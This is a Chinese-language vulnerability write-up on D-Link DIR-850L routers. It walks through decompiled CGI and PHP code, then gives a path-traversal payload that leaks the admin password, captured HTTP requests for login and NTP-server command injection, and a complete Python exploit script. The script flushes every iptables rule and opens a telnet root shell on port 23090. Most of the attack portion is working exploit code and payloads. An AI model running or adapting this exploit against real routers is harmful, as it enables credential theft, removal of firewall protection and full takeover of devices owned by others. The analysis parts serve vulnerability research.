0x01dlink850l远程命令执行漏洞
当管理员接口的配置信息发生改变时,变化的配置信息会以 xml 的数据格式发送给 hedwig.cgi ,由 hedwig.cgi 重载并应用这些配置信息,而在接受这个数据前,程序并没有对用户身份进行判断,导致非管理员用户也可向 hedwig.cgi 发送XML数据。在接收 XML 数据的过程中, hedwig.cgi 会调用 htdocs/webinc/fatlady.php 文件验证数据合法性。
hedwig.cgi其实是一个链接文件,指向/htdocs/cgibin文件,接收到用户请求的xml数据请求后先封装成xml文件,发送read xml的请求到xmldb server,然后发送execute php的请求到xmldb server。
hedwig.cgi
int hedwigcgi_main(void)
{
bool bVar1;
char *__s1;
FILE *__stream;
undefined *puVar2;
int __fd;
void *pvVar3;
void *pvVar4;
int __fd_00;
int iVar5;
int iVar6;
char **ppcVar7;
char acStack1232 [20];
char *local_4bc [5];
char acStack1192 [128];
char acStack1064 [1024];
memset(acStack1064,0,0x400);
memset(acStack1192,0,0x80);
memcpy(acStack1232,"/runtime/session",0x11);
__s1 = getenv("REQUEST_METHOD");
if (__s1 == (char *)0x0) {
__s1 = "no REQUEST";
LAB_0040d1bc:
pvVar3 = (void *)0x0;
pvVar4 = (void *)0x0;
LAB_0040d5f4:
__fd_00 = -1;
}
else {
__fd_00 = strcasecmp(__s1,"POST");
if (__fd_00 != 0) {
__s1 = "unsupported HTTP request";
goto LAB_0040d1bc;
}
cgibin_parse_request(&LAB_0040d5fc,0,0x20000);
__stream = fopen("/etc/config/image_sign","r"); //读取文件载入硬件版本
__s1 = fgets(acStack1192,0x80,__stream);
if (__s1 == (char *)0x0) {
__s1 = "unable to read signature!";
goto LAB_0040d1bc;
}
fclose(__stream);
cgibin_reatwhite(acStack1192);
pvVar3 = (void *)sobj_new();
pvVar4 = (void *)sobj_new();
if ((pvVar3 == (void *)0x0) || (pvVar4 == (void *)0x0)) {
__s1 = "unable to allocate string object";
goto LAB_0040d5f4;
}
sess_get_uid((int)pvVar3);
puVar2 = sobj_get_string((int)pvVar3);
snprintf(acStack1064,0x400,"%s/%s/postxml","/runtime/session",puVar2);
xmldbc_del((char *)0x0,0,acStack1064); //删掉临时文件
__stream = fopen("/var/tmp/temp.xml","w");
if (__stream == (FILE *)0x0) {
__s1 = "unable to open temp file.";
goto LAB_0040d5f4;
}
if (DAT_00437f30 == (char *)0x0) {
__s1 = "no xml data.";
goto LAB_0040d5f4;
}
__fd_00 = fileno(__stream);
__fd_00 = lockf(__fd_00,3,0);
if (__fd_00 < 0) {
printf(
"HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>"
,0);
__fd_00 = 0;
goto LAB_0040d570;
}
ppcVar7 = local_4bc + 2;
__fd = fileno(__stream);
lockf(__fd,1,0);
local_4bc[1] = (char *)0x0;
local_4bc[2] = 0;
local_4bc[3] = 0;
local_4bc[4] = 0;
local_4bc[0] = acStack1192;
local_4bc[1] = strtok(acStack1232,"/");
__fd = 2;
do {
iVar6 = __fd;
__fd = iVar6 + 1;
__s1 = strtok((char *)0x0,"/");
*ppcVar7 = __s1;
ppcVar7 = ppcVar7 + 1;
} while (__s1 != (char *)0x0);
ppcVar7 = local_4bc;
iVar5 = 0;
__s1 = sobj_get_string((int)pvVar3);
local_4bc[iVar6] = __s1;
fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",__stream);
bVar1 = 0 < __fd;
while (iVar5 = iVar5 + 1, bVar1) {
__s1 = *ppcVar7;
ppcVar7 = ppcVar7 + 1;
fprintf(__stream,"<%s>\n",__s1);
bVar1 = iVar5 < __fd;
}
__s1 = strstr(DAT_00437f30,"<postxml>");
fprintf(__stream,"%s\n",__s1);
ppcVar7 = local_4bc + iVar6;
do {
__fd = __fd + -1;
__s1 = *ppcVar7;
ppcVar7 = ppcVar7 + -1;
fprintf(__stream,"</%s>\n",__s1);//写入/var/tmp/temp.xml"
} while (0 < __fd);
fflush(__stream);
xmldbc_read((char *)0x0,2,"/var/tmp/temp.xml"); //被其他文件读取
__fd = fileno(__stream);
lockf(__fd,0,0);
fclose(__stream);
remove("/var/tmp/temp.xml"); //删掉
puVar2 = sobj_get_string((int)pvVar3);
snprintf(acStack1064,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",puVar2) //这里读取/htdocs/webinc/fatlady.php
;
xmldbc_ephp((char *)0x0,0,acStack1064,stdout);// 运行刚才读取的/htdocs/webinc/fatlady.php
if (__fd_00 == 0) goto LAB_0040d570;
__s1 = (char *)0x0;
}
printf(
"HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>"
,__s1);
LAB_0040d570:
if (DAT_00437f30 != (char *)0x0) {
free(DAT_00437f30);
}
if (pvVar4 != (void *)0x0) {
sobj_del(pvVar4);
}
if (pvVar3 != (void *)0x0) {
sobj_del(pvVar3);
}
return __fd_00;
}
跟上一篇类似的插入
参考https://blog.csdn.net/qq_38204481/article/details/105113896
fatlady.php
HTTP/1.1 200 OK
Content-Type: text/xml
<?
include "/htdocs/phplib/trace.php";
/* get modules that send from hedwig */
/* call $target to do error checking,
* and it will modify and return the variables, '$FATLADY_XXXX'. */
$FATLADY_result = "OK";
$FATLADY_node = "";
$FATLADY_message= "No modules for Hedwig"; /* this should not happen */
//TRACE_debug("FATLADY dump ====================\n".dump(0, "/runtime/session"));
foreach ($prefix."/postxml/module")
{
del("valid");
if (query("FATLADY")=="ignore") continue;
$service = query("service");
if ($service == "") continue;
TRACE_debug("FATLADY: got service [".$service."]");
$target = "/htdocs/phplib/fatlady/".$service.".php"; /*FATLADY != ignore ,service字段可以直接被拼接并执行*/
$FATLADY_prefix = $prefix."/postxml/module:".$InDeX;
$FATLADY_base = $prefix."/postxml";
if (isfile($target)==1) dophp("load", $target);
else
{
TRACE_debug("FATLADY: no file - ".$target);
$FATLADY_result = "FAILED";
$FATLADY_message = "No implementation for ".$service;
}
if ($FATLADY_result!="OK") break;
}
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo "<hedwig>\n";
echo "\t<result>". $FATLADY_result. "</result>\n";
echo "\t<node>". $FATLADY_node. "</node>\n";
echo "\t<message>". $FATLADY_message. "</message>\n";
echo "</hedwig>\n";
?>
利用payload
curl -d '<?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>' -b "uid=demo" -H "Content-Type: text/xml" "http://VictimIp:8080/hedwig.cgi"
抓包
附加xml的post请求发送过去的命令触发漏洞
0x02dlink850l 命令执行漏洞获取shell
用./hedwig.cgi文件加载的fatlady.phpphp文件直接加载漏洞加载DEVICE.ACCOUNT.xml.php文件获取用户名,密码
请求:
POST /hedwig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml
Cookie: uid=whatever
Content-Length: 150
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>
回应:
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: text/xml
<module>
<service></service>
<device>
<gw_name>DIR-850L</gw_name>
<account>
<seqno>1</seqno>
<max>2</max>
<count>1</count>
<entry>
<uid>USR-</uid>
<name>Admin</name>
<usrid></usrid>
<password>root1996</password>
<group>0</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
<?xml version="1.0" encoding="utf-8"?>
<hedwig>
<result>OK</result>
<node></node>
<message>No modules for Hedwig</message>
</hedwig>
/authentication.cgi 登录
a>获取到登录的 uid,callenge,使用GET请求
GET /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
回应
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
{"status": "ok", "errno": null, "uid": "0764udul3Z", "challenge": "d4efd41c-4595-4a16-b5b5-0d90dca490ca", "version": "0204"}
POST /authentication.cgi HTTP/1.1
b>使用uid键值对作为cookie,password与username+challenge作md5,发送post请求
POST /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
id=Admin&password=7499059A6F694AD6117790A807038807
接下来将作为root用户获取shell
用/getcfg.php执行DEVICE.TIME.xml.php文件
/getcfg.php文件里面是
从post过去的信息中获取SERVICES字段执行对应php文件(其实这里有一个漏洞,执行这个php文件可以不用拿到admin用户的密码)
执行的getcfg.php文件可以设置SERVICES字段可以运行另一个文件DEVICE.TIME.xml.php
DEVICE.TIME.xml.php文件有命令执行漏洞
query函数会获取post携带的xml文件里面的对应标签的数值,类似python的xpath
fwrite函数是写入数据流中,a是追加,应该是把这些命令写入文件之后执行(这里可以是一个赋值语句如果$server设置为"metelesku; ("+COMMAND+") & exit;
"就会造成截断)
可以看到server字段被直接写入文件造成了命令执行。
发送报文
POST /getcfg.php HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
SERVICES=DEVICE.TIME
收到回应
$server = query("/device/time/ntp/server");
来获取.
用post /hedwig.cgi文件执行命令
/hedwig.cgi文件会执行fatlady.php文件,设置service位和TDEVICE.TIME执行命令
发送的报文如下
向pigwidgeon.cgi发送激活请求,使服务生效
发送的报文
POST /pigwidgeon.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
ACTIONS=SETCFG%2CACTIVATE
post /pigwidgeon.cgi文件设置xml内容为 ACTIONS=SETCFG%2CACTIVATE可以激活一个服务
0x03利用脚本
#!/usr/bin/env python3
# pylint: disable=C0103
#coding=utf-8
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests
COMMAND = ";".join([
"iptables -F", # 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。
"iptables -X", #删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。
"iptables -t nat -F", #对指定nat链表进行 -F操作
"iptables -t nat -X", # 定义地址转换的,也只能做在3个链上:PREROUTING ,OUTPUT ,POSTROUTING
"iptables -t mangle -F", #修改报文原数据,是5个链都可以做:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING
"iptables -t mangle -X",
"iptables -P INPUT ACCEPT", # -P指定要匹配的数据包协议类型 INPUT链 :处理输入数据包 ACCEPT :接收数据包
"iptables -P FORWARD ACCEPT",#FORWARD链 :处理转发数据包。
"iptables -P OUTPUT ACCEPT", #OUTPUT链 :处理输出数据包。
"telnetd -p 23090 -l /bin/date" # 开启telnet服务。 之后执行命令:telnet 192.168.0.1 23090 拿到shell
])
try:
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
pass
TARGET = sys.argv[1]
session = requests.Session()
session.verify = False
############################################################获取用户名密码
print("Get password...")
headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""
resp = session.post(urljoin(TARGET, "./hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)
# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
# : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]
admin_pasw = ""
tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
name = acc.findtext("name", "")
pasw = acc.findtext("password", "")
print("name:", name)
print("pass:", pasw)
if name == "Admin":
admin_pasw = pasw
if not admin_pasw:
print("Admin password not found!")
sys.exit()
############################################################ 通过/authentication.cgi获取key
#登录方式:
#1.发送get请求/authentication.cgi
#将获取到{"status": "ok", "errno": null, "uid": "MPxUAS6sZp",
# "challenge": "c75a69e4-d1fe-4a47-b152-b494c9174316", "version": "0204"}
#2.使用uid键值对作为cookie,password与username+challenge作md5
#3.发送post请求到/authentication.cgi
print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("uid:", resp["uid"])
print("challenge:", resp["challenge"])
session.cookies.update({"uid": resp["uid"]})
print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw
data = {
"id": user_name,
"password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################设置cookie:uid=MPxUAS6sZp
data = {"SERVICES": "DEVICE.TIME"}
# POST /getcfg.php HTTP/1.1
# Host: 192.168.0.1
# User-Agent: python-requests/2.18.4
# Accept-Encoding: gzip, deflate
# Accept: */*
# Connection: keep-alive
# Cookie: uid=MPxUAS6sZp
# Content-Length: 20
# Content-Type: application/x-www-form-urlencoded
#
# SERVICES=DEVICE.TIME
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data) #文件执行
print(resp.text)
tree = lxml.etree.fromstring(resp.content) #设置要发送的xml文件的service字段和要执行的命令
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; ("+COMMAND+") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"
############################################################
#
print("hedwig")
#hedwig.cgi文件里面执行fatlady.php文件,设置service位和TDEVICE.TIME可以执行执行TDEVICE.TIME.xml.php
#TDEVICE.TIME.xml.php文件可以执行命令
headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
#激活服务
print("pigwidgeon")
data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")